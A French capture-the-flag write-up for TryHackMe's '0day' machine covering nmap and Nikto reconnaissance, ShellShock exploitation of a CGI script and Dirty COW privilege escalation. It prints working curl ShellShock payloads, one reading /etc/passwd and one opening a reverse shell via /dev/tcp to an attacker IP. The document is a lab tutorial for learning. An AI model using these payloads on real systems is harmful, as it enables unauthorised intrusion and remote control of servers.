Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux

Notre cible aujourd’hui est la machine 0day de tryhackme.

0day est une machine de niveau moyen, lors de sa résolution nous utiliserons Nikto pour scanner les vulnérabilités d’un serveur web et nous allons exploiter une vulnérabilité plutôt connue affectant les anciennes versions de bash, j’ai nommé: ShellShock.

L’objectif sera de trouver deux flags, un pour un utilisateur et l’autre pour l’escalation de privilège en root.

0day – Reconnaissance

Une fois la machine démarrée, nous commençons par le scan de port avec nmap. La commande utilisée pour le faire est :

nmap -sC -sV 10.10.78.30.

D’après les résultats du scan, nous avons deux ports ouverts, le port http et le port ssh.

0day – Enumération

Nous allons ensuite utiliser nikto pour scanner les vulnérabilités au niveau du port http.
 

Nikto est un outil libre et open-source coder dans le langage Perl, qui permet de scanner un serveur web et d’afficher toutes les failles potentielles.

Nikto est pré-installé sur Kali et prêt à l’usage.

Pour faire le scan nous allons la commande la commande suivante:

nikto --url  10.10.78.30

Le scan nous a permis découvrir quelques répertoires cachés, mais il y a une ligne qui attire plus notre attention.

OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)

Cela indique qu’il y a un fichier appelé test.cgi dans le répertoire /cgi-bin/ qui pourrait être vulnérable à ShellShock – une vulnérabilité dévastatrice qui affecte les anciennes versions de Bash. Après quelques recherches, nous tombons sur un moyen pour vérifier si le fichier est vulnérable ou pas.

Ainsi, nous avons utilisé la commande suivante :

curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.78.30/cgi-bin/test.cgi
  • () { :;};
    • Ceci définit une fonction bash vide. Il est là pour activer la vulnérabilité, car shellshock repose sur la déclaration d’une fonction avant l’exécution de toutes les commandes suivantes.
  • echo Content-Type: text/html; echo;
    • Cette section de la commande est utilisée pour empêcher le serveur de planter lorsque la vulnérabilité est exploitée. Une réponse HTTP correctement formatée contiendra un Content-Type en-tête, et une ligne vide avant le corps de la réponse s’affiche. Sans ces derniers, le serveur renverra une erreur «500 Internal Server». Ainsi, nous utilisons cette section de la charge utile pour simuler l’en-tête Content-Type et la ligne vierge suivante.
  • /bin/cat /etc/passwd;
    • Enfin, la charge utile. Ce sont les commandes que nous voulons réellement exécutées. Dans ce cas, il s’agit simplement de sortir le contenu de /etc/passwd; cependant, nous pourrions ajouter toutes les autres commandes souhaitées ici.
root@kali:~# curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.78.30/cgi-bin/test.cgi
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 libuuid:x:100:101::/var/lib/libuuid:
 syslog:x:101:104::/home/syslog:/bin/false
 messagebus:x:102:105::/var/run/dbus:/bin/false
 ryan:x:1000:1000:Ubuntu 14.04.1,,,:/home/ryan:/bin/bash
 sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

Nous pouvons conclure maintenant que le fichier test.cgi est vulnérable à ShellShock.

0day – Exploitation

Nous allons maintenant exploiter la vulnérabilité shellshock pour avoir un shell sur la machine cible et ensuite utiliser netcat pour avoir un reverse shell.

curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.8.9.70/4455 0>&1';" http://10.10.78.30/cgi-bin/test.cgi

Ce qui nous permet d’obtenir le flag de l’utilisateur.

0day – Escalade de privilège

Nous commençons par déterminer la version du noyau de l’OS avec la commande

uname -a

Le système utilise un noyau de version 3.13.0–32 générique. Après des recherches plus approfondies, nous sommes tombés sur le projet dirtycow sur github offrant divers scripts selon des objectifs précis.

Dans notre cas nous allons utiliser le cowroot.c. Après avoir téléchargé le script, nous démarrons un serveur web sur notre machine avec la commande python -m SimpleHTTPServer 80. Ce qui nous permettra de l’uploader sur la machine avec la commande wget.

Maintenant, nous allons exécuter le script sur la machine cible.

Ce qui nous permet d’avoir le flag de l’utilisateur root.

Conclusion

À travers ce challenge, nous avons vu comment une erreur de configuration sur le serveur web a entraîné l’obtention, et aussi qu’une version obsolète du noyau nous a permis de faire de l’escalade de privilège. Il faut régulièrement faire des mises à jour pour l’éviter et utiliser des outils comme nikto pour détecter les différentes vulnérabilités et les corriger.

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.